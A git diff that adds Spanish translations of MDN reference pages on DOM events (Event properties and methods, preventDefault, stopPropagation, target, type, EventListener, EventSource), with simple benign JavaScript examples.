+ <dd>Devuelve un valor que indica si el evento se puede cancelar.</dd>
+ <dt><a href="/es/DOM/event.charCode" title="es/DOM/event.charCode">event.charCode</a> </dt>
+ <dd>Devuelve el valor Unicode de una tecla de carácter que fue apretada como parte de un evento <a href="/es/DOM/event/keypress" title="es/DOM/event/keypress">keypress</a>.</dd>
+ <dt><a href="/es/DOM/event.clientX" title="es/DOM/event.clientX">event.clientX</a> </dt>
+ <dd>Devuelve la posición horizontal del evento.</dd>
+ <dt><a href="/es/DOM/event.clientY" title="es/DOM/event.clientY">event.clientY</a> </dt>
+ <dd>Devuelve la posición vertical del evento.</dd>
+ <dt><a href="/es/DOM/event.ctrlKey" title="es/DOM/event.ctrlKey">event.ctrlKey</a> </dt>
+ <dd>Devuelve un valor que indica si la tecla <code>&lt;Ctrl&gt;</code> fue apretada durante el evento.</dd>
+ <dt><a href="/es/DOM/event.currentTarget" title="es/DOM/event.currentTarget">event.currentTarget</a> </dt>
+ <dd>Devuelve una referencia al objetivo actual registrado para el evento.</dd>
+ <dt><a href="/es/DOM/event.detail" title="es/DOM/event.detail">event.detail</a> </dt>
+ <dd>Devuelve detalles sobre el evento, dependiendo del tipo de evento.</dd>
+ <dt><a href="/es/DOM/event.eventPhase" title="es/DOM/event.eventPhase">event.eventPhase</a> </dt>
+ <dd>Utilizado para indicar qué fase del flujo del evento es actualmente en proceso de evaluación.</dd>
+ <dt><a href="/es/DOM/event.explicitOriginalTarget" title="es/DOM/event.explicitOriginalTarget">event.explicitOriginalTarget</a> </dt>
+ <dd>El objetivo del evento (específico a Mozilla).</dd>
+ <dt><a href="/es/DOM/event.isChar" title="es/DOM/event.isChar">event.isChar</a> </dt>
+ <dd>Devuelve un valor que indica si el evento produce o no una tecla de carácter.</dd>
+ <dt><a href="/es/DOM/event.keyCode" title="es/DOM/event.keyCode">event.keyCode</a> </dt>
+ <dd>Devuelve el valor Unicode de una tecla que no es caracter en un evento <a href="/es/DOM/event/keypress" title="es/DOM/event/keypress">keypress</a> o cualquier tecla en cualquier otro tipo de evento de teclado.</dd>
+ <dt><a href="/es/DOM/event.layerX" title="es/DOM/event.layerX">event.layerX</a> </dt>
+ <dd>Devuelve la coordenada horizontal del evento relativo a la capa actual.</dd>
+ <dt><a href="/es/DOM/event.layerY" title="es/DOM/event.layerY">event.layerY</a> </dt>
+ <dd>Devuelve la coordenada vertical del evento relativo a la capa actual.</dd>
+ <dt><a href="/es/DOM/event.metaKey" title="es/DOM/event.metaKey">event.metaKey</a> </dt>
+ <dd>Devuelve un valor booleano indicando si la <code>meta</code> tecla fue presionada durante un evento.</dd>
+ <dt><a href="/es/DOM/event.originalTarget" title="es/DOM/event.originalTarget">event.originalTarget</a> </dt>
+ <dd>El objetivo principal de un evento, antes de cualquier reapunte (Especifiación Mozilla).</dd>
+ <dt><a href="/es/DOM/event.pageX" title="es/DOM/event.pageX">event.pageX</a> </dt>
+ <dd>Devuelve la coordenada horizontal del evento, relativo al documento completo.</dd>
+ <dt><a href="/es/DOM/event.pageY" title="es/DOM/event.pageY">event.pageY</a> </dt>
+ <dd>Devuelve la coordenada vertical del evento, relativo al documento completo.</dd>
+ <dt><a href="/es/DOM/event.relatedTarget" title="es/DOM/event.relatedTarget">event.relatedTarget</a> </dt>
+ <dd>Identifica un objetivo secundario para el evento.</dd>
+ <dt><a href="/es/DOM/event.screenX" title="es/DOM/event.screenX">event.screenX</a> </dt>
+ <dd>Devuelve la coordenada horizontal del evento en la pantalla.</dd>
+ <dt><a href="/es/DOM/event.screenY" title="es/DOM/event.screenY">event.screenY</a> </dt>
+ <dd>Devuelve la coordenada vertical del evento en la pantalla.</dd>
+ <dt><a href="/es/DOM/event.shiftKey" title="es/DOM/event.shiftKey">event.shiftKey</a> </dt>
+ <dd>Devuelve un valor booleano indicando si la tecla <code>&lt;shift&gt;</code> fue presionada cuando el evento fue disparado.</dd>
+ <dt><a href="/es/DOM/event.target" title="es/DOM/event.target">event.target</a> </dt>
+ <dd>Devuelve una referencia al objetivo en la cual el evento fue originalmente enviado.</dd>
+ <dt><a href="/es/DOM/event.timeStamp" title="es/DOM/event.timeStamp">event.timeStamp</a> </dt>
+ <dd>Devuelve el momento de creación del evento.</dd>
+ <dt><a href="/es/DOM/event.type" title="es/DOM/event.type">event.type</a> </dt>
+ <dd>Devuelve el nombre del evento (distingue mayúsculas y minúsculas).</dd>
+ <dt><a href="/es/DOM/event.view" title="es/DOM/event.view">event.view</a> </dt>
+ <dd>El atributo vista identifica la <code>AbstractView</code> del cual el evento fue generado.</dd>
+ <dt><a href="/es/DOM/event.which" title="es/DOM/event.which">event.which</a> </dt>
+ <dd>Devuelve el valor Unicode de la tecla en un evento del teclado, sin importar el tipo de tecla que se presionó.</dd>
+</dl>
+
+<h3 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h3>
+
+<dl>
+ <dt><a href="/es/DOM/event.initEvent" title="es/DOM/event.initEvent">event.initEvent</a> </dt>
+ <dd>Inicia el valor de un evento que se ha creado vía la interfaz <code>DocumentEvent</code>.</dd>
+ <dt><a href="/es/DOM/event.initKeyEvent" title="es/DOM/event.initKeyEvent">event.initKeyEvent</a> </dt>
+ <dd>Inicia un evento del teclado. (Específico de Gecko).</dd>
+ <dt><a href="/es/DOM/event.initMouseEvent" title="es/DOM/event.initMouseEvent">event.initMouseEvent</a> </dt>
+ <dd>Inicia un evento del ratón una vez que se ha creado.</dd>
+ <dt><a href="/es/DOM/event.initUIEvent" title="es/DOM/event.initUIEvent">event.initUIEvent</a> </dt>
+ <dd>Inicia un evento de la interfaz de usuario (<em>UI</em>) una vez que se ha creado.</dd>
+ <dt><a href="/es/DOM/event.preventBubble" title="es/DOM/event.preventBubble">event.preventBubble</a> {{obsolete_inline}} </dt>
+ <dd>Previene la expansión del evento. Este método es desaconsejado en favor del estándar <a href="/es/DOM/event.stopPropagation" title="es/DOM/event.stopPropagation">stopPropagation</a> y ha sido <a href="/es/Los_cambios_en_Gecko_1.9_afectando_a_los_sitios_web" title="es/Los_cambios_en_Gecko_1.9_afectando_a_los_sitios_web">retirado en Gecko 1.9</a>.</dd>
+ <dt><a href="/es/DOM/event.preventCapture" title="es/DOM/event.preventCapture">event.preventCapture</a> {{obsolete_inline}}</dt>
+ <dd>Este método es desaconsejado en favor del estándar <a href="/es/DOM/event.stopPropagation" title="es/DOM/event.stopPropagation">stopPropagation</a> y ha sido <a href="/es/Los_cambios_en_Gecko_1.9_afectando_a_los_sitios_web" title="es/Los_cambios_en_Gecko_1.9_afectando_a_los_sitios_web">retirado en Gecko 1.9</a>.</dd>
+ <dt><a href="/es/DOM/event.preventDefault" title="es/DOM/event.preventDefault">event.preventDefault</a> </dt>
+ <dd>Cancela el evento (si éste es anulable).</dd>
+ <dt><a href="/es/DOM/event.stopPropagation" title="es/DOM/event.stopPropagation">event.stopPropagation</a> </dt>
+ <dd>Para la propagación de los eventos más allá en el DOM.</dd>
+</dl>
diff --git a/files/es/web/api/event/initevent/index.html b/files/es/web/api/event/initevent/index.html
new file mode 100644
index 0000000000..360effb8ef
--- /dev/null
+++ b/files/es/web/api/event/initevent/index.html
@@ -0,0 +1,42 @@
+---
+title: event.initEvent
+slug: Web/API/Event/initEvent
+tags:
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/Event/initEvent
+---
+<div>{{ ApiRef("DOM") }}{{deprecated_header}}</div>
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>El método <code>initEvent</code> se usa para dar valor inicial a un <a href="es/DOM/event">evento</a> creado mediante <a href="es/DOM/document.createEvent">document.createEvent</a>.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><em>event</em>.initEvent(<em>type</em>,<em>bubbles</em>,<em>cancelable</em>)
+</pre>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>El tipo de evento.</dd>
+ <dt><code>bubbles</code></dt>
+ <dd>Un valor binario indicando si el evento debe ser recurrente en la cadena de eventos, o no (ver <a href="/es/docs/DOM/event.bubbles">bubbles</a>).</dd>
+ <dt><code>cancelable</code></dt>
+ <dd>Un valor binario indicando si el evento puede ser cancelado o no (ver <a href="/es/docs/DOM/event.cancelable">cancelable</a>).</dd>
+</dl>
+
+<p>Nota: Un valor binario puede tener sólo valores 1 y 0. En lógica de Boole, cierto (<em>true</em> ) y falso (<em>false</em> ).</p>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<pre class="eval">// crea un evento "click" que puede ser recurrente y
+// NO puede ser cancelado.
+event.initEvent("click", true, false);
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Los eventos inicializados de esta forma, deben haber sido creados por el método <a href="es/DOM/document.createEvent">document.createEvent</a>. Debemos llamar a <code>initEvent</code> para inicializar el evento antes de que pueda ser lanzado con <a href="es/DOM/element.dispatchEvent">dispatched</a>.</p>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event-initEvent">DOM Level 2 Events: Event.initEvent</a></p>
diff --git a/files/es/web/api/event/preventdefault/index.html b/files/es/web/api/event/preventdefault/index.html
new file mode 100644
index 0000000000..e0e6ba18b1
--- /dev/null
+++ b/files/es/web/api/event/preventdefault/index.html
@@ -0,0 +1,95 @@
+---
+title: event.preventDefault
+slug: Web/API/Event/preventDefault
+tags:
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/Event/preventDefault
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Cancela el evento si este es cancelable, sin detener el resto del funcionamiento del evento, es decir, puede ser llamado de nuevo.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><em>event</em>.preventDefault()
+</pre>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<p>Cambiar el estado de una caja de selección es la función por defecto de la acción de hacer clic sobre la caja. Este ejemplo ilustra como hacer que esto no ocurra:</p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;ejemplo de preventDefault&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function stopDefAction(evt) {
+  evt.preventDefault();
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;p&gt;Por favor, haz clic sobre la caja de selección.&lt;/p&gt;
+
+&lt;form&gt;
+&lt;input type="checkbox" onclick="stopDefAction(event);"/&gt;
+&lt;label for="checkbox"&gt;Selección&lt;/label&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Puedes ver <code>preventDefault</code> en acción <a class="external" href="http://developer.mozilla.org/samples/domref/dispatchEvent.html">aquí</a>.</p>
+
+<p>El siguiente ejemplo demuestra cómo puede evitarse que un texto invalido entre en un campo de formulario mediante preventDefault().</p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;preventDefault example&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function checkName(evt) {
+var charCode = evt.charCode;
+
+  if (charCode != 0) {
+    if (charCode &lt; 97 || charCode &gt; 122) {
+      evt.preventDefault();
+      alert("Por favor usa sólo letras minúsculas." + "\n"
+            + "charCode: " + charCode + "\n"
+      );
+    }
+  }
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;p&gt;Por favor entra tu nombre en letras minúsculas solamente.&lt;/p&gt;
+&lt;form&gt;
+&lt;input type="text" onkeypress="checkName(event);"/&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Llamar a <code>preventDefault</code> en cualquier momento durante la ejecución, cancela el evento, lo que significa que cualquier acción por defecto que deba producirse como resultado de este evento, no ocurrirá.</p>
+
+<p>Puedes usar <a href="es/DOM/event.cancelable">event.cancelable</a> para comprobar si el evento es cancelable o no. Llamar a <code>preventDefault</code> para un evento no cancelable, no tiene ningún efecto.</p>
+
+<p><code>preventDefault</code> no detiene las siguientes llamadas al evento producidas en el DOM. En su lugar debería usarse <a href="es/DOM/event.stopPropagation">event.stopPropagation</a> para ese propósito.</p>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event-preventDefault">DOM Level 2 Events: preventDefault</a></p>
diff --git a/files/es/web/api/event/stoppropagation/index.html b/files/es/web/api/event/stoppropagation/index.html
new file mode 100644
index 0000000000..c92c594950
--- /dev/null
+++ b/files/es/web/api/event/stoppropagation/index.html
@@ -0,0 +1,103 @@
+---
+title: Event.stopPropagation()
+slug: Web/API/Event/stopPropagation
+translation_of: Web/API/Event/stopPropagation
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>El método <code>stopPropagation()</code> de la interfaz {{domxref("Event")}} evita la propagación adicional del evento actual en las fases de captura y <em>bubbling</em>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>event</em>.stopPropagation();</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Ver ejemplo 5: <a href="https://developer.mozilla.org/en-US/docs/DOM/DOM_Reference/Examples#Example_5:_Event_Propagation">Propagación del evento</a> en el capítulo de Ejemplos para un ejemplo mas detallado de este método y la propagación del evento en el DOM.</p>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Ver las <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-flow-capture">Especificaciones del DOM</a> para la explicación del flujo del eventos. (El <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">Borrador de eventos del DOM nivel 3</a> tiene una ilustración.)</p>
+
+<p><a href="/en-US/docs/Web/API/event.preventDefault">preventDefault</a> es un método complementario que puede ser usado para prevenir la acción default del evento cuando este ocurre.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-stoppropagation", "Event.stopPropagation()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-stoppropagation", "Event.stopPropagation()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-stopPropagation", "Event.stopPropagation()")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/api/event/target/index.html b/files/es/web/api/event/target/index.html
new file mode 100644
index 0000000000..1e28aef0b3
--- /dev/null
+++ b/files/es/web/api/event/target/index.html
@@ -0,0 +1,138 @@
+---
+title: Event.target
+slug: Web/API/Event/target
+tags:
+  - Evento
+  - Propiedad
+  - Referencia
+translation_of: Web/API/Event/target
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>La propiedad <code><strong>target</strong></code> de la interfaz del {{domxref("event.currentTarget")}} es una referencia al objeto en el cual se lanzo el evento. Es diferente de {{domxref("event.currentTarget")}} donde el controlador de eventos (event handler) es llamado durante la fase de bubbling or capturing del evento.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">const theTarget = algunEvento.target</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>La propiedad <code>event.target</code>  puede ser usada para implementar una <strong>delegación del evento</strong>.</p>
+
+<pre class="brush: js notranslate">// Crear una lista
+const ul = document.createElement('ul');
+document.body.appendChild(ul);
+
+const li1 = document.createElement('li');
+const li2 = document.createElement('li');
+ul.appendChild(li1);
+ul.appendChild(li2);
+
+function hide(e){
+  // e.target se refiere elemento clickado &lt;li&gt;
+  // Esto es diferente de e.currentTarget, que se referiría al padre &lt;ul&gt; en este contexto
+  e.target.style.visibility = 'hidden';
+}
+
+// Incluir el 'listener' a la lista
+// Se ejecutará cuando se haga click en cada &lt;li&gt;
+ul.addEventListener('click', hide, false);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador"><strong>Compatibilidad del navegador</strong></h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<p>En IE 6-8 el evento 'model' es diferente. Los eventos 'listeners' son  are incluidos con el método no estándar {{domxref('EventTarget.attachEvent')}}. En este modelo, el evento 'object' tiene una propiedad {{domxref('Event.srcElement')}}, en vez de la propiedad <code>target</code>, y tiene la misma semántica que <code>event.target</code>.</p>
+
+<pre class="brush: js notranslate">function hide(e) {
+  // Soporte en IE6-8
+  var target = e.target || e.srcElement;
+  target.style.visibility = 'hidden';
+}
+</pre>
+
+<h2 id="También_ver">También  ver</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Event/Comparison_of_Event_Targets"> Comparación de los Eventos</a></li>
+</ul>
diff --git a/files/es/web/api/event/type/index.html b/files/es/web/api/event/type/index.html
new file mode 100644
index 0000000000..7f9f02f6e9
--- /dev/null
+++ b/files/es/web/api/event/type/index.html
@@ -0,0 +1,103 @@
+---
+title: event.type
+slug: Web/API/Event/type
+tags:
+  - API
+  - DOM
+  - Evento
+  - Propiedad
+  - Referencia
+translation_of: Web/API/Event/type
+---
+<div>{{APIRef}}</div>
+
+<p>La propiedad de sólo-lectura <code><strong>Event.type</strong></code> devuelve una cadena de texto que contiene el tipo de evento. Se establece cuando se contruye el evento y es el nombre que se utiliza normalmente para referirse al evento en cuestión, como <code>click</code>, <code>load</code> o <code>error</code>.</p>
+
+<p>El argumento <code>event</code> de {{ domxref("EventTarget.addEventListener()") }} y {{ domxref("EventTarget.removeEventListener()") }} no es sensible a mayúsculas.</p>
+
+<p>Para una lista de tipos de evento displonibles, vea la <a href="/es/docs/Web/Reference/Events">referencia de eventos</a></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">event.type
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+
+    &lt;title&gt;Event.type Example&lt;/title&gt;
+
+    &lt;script&gt;
+        var currEvent;
+        function getEvtType(evt) {
+            console.group();
+
+            currEvent = evt.type;
+            console.log(currEvent);
+
+            document.getElementById("Etype").innerHTML = currEvent;
+
+            console.groupEnd();
+        }
+
+        // Eventos de teclado
+        document.addEventListener("keypress", getEvtType, false); //[second]
+
+        document.addEventListener("keydown", getEvtType, false); //first
+        document.addEventListener("keyup", getEvtType, false); //third
+
+        // Eventos de ratón
+        document.addEventListener("click", getEvtType, false); // third
+
+        document.addEventListener("mousedown", getEvtType, false); //first
+        document.addEventListener("mouseup", getEvtType, false); //second
+
+    &lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;p&gt;Press any key or click the mouse to get the event type.&lt;/p&gt;
+&lt;p&gt;Event type: &lt;span id="Etype" style="color:red"&gt;-&lt;/span&gt;&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-type', 'Event.type')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-Event-type', 'Event.type')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("api.Event.type")}}</p>
diff --git a/files/es/web/api/eventlistener/index.html b/files/es/web/api/eventlistener/index.html
new file mode 100644
index 0000000000..e0a11040cc
--- /dev/null
+++ b/files/es/web/api/eventlistener/index.html
@@ -0,0 +1,44 @@
+---
+title: EventListener
+slug: Web/API/EventListener
+translation_of: Web/API/EventListener
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<h2 id="Method_overview" name="Method_overview">Información General del Método</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#handleEvent()">handleEvent</a>(in Event event);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Metodos</h2>
+
+<h3 id="handleEvent()" name="handleEvent()">handleEvent()</h3>
+
+<p>Este metodo es llamado cuando un evento ocurre del tipo para el cual la interfaz <code>EventListener</code> fue registrada.</p>
+
+<pre class="eval">void handleEvent(
+  in Event event
+);
+</pre>
+
+<h5 id="Parameters" name="Parameters">Parametros</h5>
+
+<dl>
+ <dt><code>event</code></dt>
+ <dd>El DOM {{ domxref("Event") }} a registrar.</dd>
+</dl>
+
+<h3 id="Remarks" name="Remarks">Observaciones</h3>
+
+<p>Como la interfaz es marcada con la bandera <code><span class="nowiki">[function],todas los objetos </span></code><a href="/en/JavaScript/Reference/Global_Objects/Function" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Function">Function</a>  de javascript automaticamente implementan esta interfaz. Llamando el método {{manch("handleEvent") }} en tales implementaciones automaticamente invocan la funcion.</p>
+
+<h2 id="See_also" name="See_also">Mira también</h2>
+
+<ul>
+ <li>{{ spec("http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventListener","Document Object Model Events: EventListener","REC") }}</li>
+</ul>
diff --git a/files/es/web/api/eventsource/index.html b/files/es/web/api/eventsource/index.html
new file mode 100644
index 0000000000..db259edd2a
--- /dev/null
+++ b/files/es/web/api/eventsource/index.html
@@ -0,0 +1,168 @@
+---
+title: EventSource
+slug: Web/API/EventSource
+tags:
+  - API
+  - Eventos Server-sent
+  - Interfaz
+translation_of: Web/API/EventSource
+---
+<div>{{APIRef("Websockets API")}}</div>
+
+<p>La interfaz <strong><code>EventSource</code></strong> se utiliza para recibir eventos server-side. Se realiza la conexión a un servidor sobre HTTP y se reciben eventos en formato <code>text/event-stream</code> sin tener que cerrar la conexión.</p>
+
+<dl>
+</dl>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("EventSource.EventSource", "EventSource()")}}</dt>
+ <dd>Crea un nuevo  <code>EventSource</code> a partiendo de un valor {{domxref("USVString")}}.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Esta interfaz también heredará propiedades de su antecesor, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("EventSource.readyState")}} {{readonlyinline}}</dt>
+ <dd>Un número representando el estado de la conexión. Los valores posibles son CONECTANDO (<code>0</code>), ABIERTO (<code>1</code>), o CERRADO (<code>2</code>).</dd>
+ <dt>{{domxref("EventSource.url")}} {{readonlyinline}}</dt>
+ <dd>Un valor {{domxref("DOMString")}} representando la URL de la fuente.</dd>
+ <dt>{{domxref("EventSource.withCredentials")}} {{readonlyinline}}</dt>
+ <dd>Un valor {{domxref("Boolean")}} indicando si el objecto <code>EventSource</code> ha sido instanciado con credeciales CORS disponibles (true) o no (false, valor por defecto).</dd>
+</dl>
+
+<h3 id="Manejadores_de_Eventos">Manejadores de Eventos</h3>
+
+<dl>
+ <dt>{{domxref("EventSource.onerror")}}</dt>
+ <dd>En un {{domxref("EventHandler")}} que se invoca cuando ocurre un error y se envía el evento {{event("error")}} a través del objeto <code>EventSource</code>.</dd>
+ <dt>{{domxref("EventSource.onmessage")}}</dt>
+ <dd>Es un {{domxref("EventHandler")}} que se invoca cuando se recibe un evento {{event("message")}}, que indica que se ha enviado un mensaje desde la fuente.</dd>
+ <dt>{{domxref("EventSource.onopen")}}</dt>
+ <dd>Es un {{domxref("EventHandler")}} que se invoca cuando se recibe un evento {{event("open")}}, que sucede en el momento que la conexión se abre.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>Esta interfaz también heredará métodos de su antecesor, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("EventSource.close()")}}</dt>
+ <dd>Cierra la conexión, si ésta existe, y asigna el valor CLOSED al atributo <code>readyState</code>. Si la conexión ya estaba cerrada, este método no hace nada.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">var evtSource = new EventSource('sse.php');
+var eventList = document.querySelector('ul');
+
+evtSource.onmessage = function(e) {
+  var newElement = document.createElement("li");
+
+  newElement.textContent = "message: " + e.data;
+  eventList.appendChild(newElement);
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Está disponible un ejemplo completo en GitHub — ver <a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">Simple SSE demo using PHP.</a></p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "comms.html#the-eventsource-interface", "EventSource")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<ul>
+</ul>
+
+<h2 id="Compatibilidad_de_navegadoresEdit">Compatibilidad de navegadores<a class="button section-edit only-icon" href="https://developer.mozilla.org/es/docs/Web/API/Blob$edit#Browser_compatibility" rel="nofollow, noindex"><span>Edit</span></a></h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
